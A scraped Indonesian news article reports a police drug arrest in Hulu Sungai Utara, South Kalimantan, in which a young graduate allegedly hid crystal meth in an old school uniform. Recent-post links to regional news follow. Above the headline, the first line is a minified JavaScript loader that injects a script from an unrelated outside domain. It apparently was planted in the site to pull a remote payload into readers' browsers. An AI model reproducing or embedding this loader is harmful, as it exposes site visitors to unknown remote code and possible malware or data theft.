(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Selipkan Sabu di Bekas Seragam Sekolah, ZH Dibekuk Polisi


KANALKALIMANTAN.COM, AMUNTAI – Satuan Reserse Narkoba (Sat Resnarkoba) Polres Hulu Sungai Utara (HSU) membekuk ZH (23) yang kedapatan simpan tiga paket sabu 1,03 gram.

Pemilik gelar akademis sarjana sosial ini berhasil diamankan Sat Resnarkoba Polres HSU di rumahnya jalan Keramat RT 003 RW 002 Desa Tangga Ulin Hilir, Kecamatan Amuntai Tengah, Kabupaten HSU, Senin (19/4/2021) sekitar pukul 05.00 Wita.

Kapolres HSU AKBP Afri Darmawan, SIK MH, melalui Kasat Resnarkoba Iptu Siswadi, kepada Kanalkalimantan.com, Selasa (20/4/2021) membenarkan penangkapan terhadap pelaku ZH saat menjalankan Program HSU Bersinar (Bersih dari Narkoba)
Bermodal informasi masyarakat, pihaknya melakukan penyelidikan dan hasilnya pelaku diringkus polisi menyimpan toga paket narkotika jenis sabu dengan berat 1,03 gram -berat bersih 0,40 gram-.

Baju bekas seragam sekolah tempat menyimpan sabu. Foto: sat resnarkoba polres hsu

 

Baca juga: Janji ‘Hidupkan’ Mess L, Ganti Stadion Banjarbaru!

“Saat penggeledahan, ditemukan satu paket narkotika yang disimpan dalam kamar, tepatnya di kantong depan baju seragam bekas sekolah yang sudah penuh corat-coret milik pelaku,” jelas Kasatresnakoba Polres HSU.

Dua paket sabu lainnya ditemukan di dalam rumah, di atas lantai tepatnya dalam kotak kecil warna putih terbungkus tisu, beserta sebuah timbangan digital. Polisi juga mengamankan barang bukti lainnya, sebuah handphone android.

Baca juga: BREAKING NEWS. Kebakaran di Mawar Banjarmasin, 3 Rumah Hangus dan 1 Relawan Terluka.

Terkait asal usul barang haram tersebut, Kasat Resnarkoba Polres HSU ini mengaku masih melakukan penyelidikan lebih lanjut.
Pelaku bersama barang bukti digelandang ke ruangan Sat Resnarkoba Polres HSU guna proses penyidikan lebih lanjut sesuai dalam pasal 114 ayat 1 atau 112 ayat 1 UU RI Nomor 35 tahun 2009 tentang narkotika. (kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Al Ghifari

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

19 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

1 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

1 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

2 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 hari ago

This website uses cookies.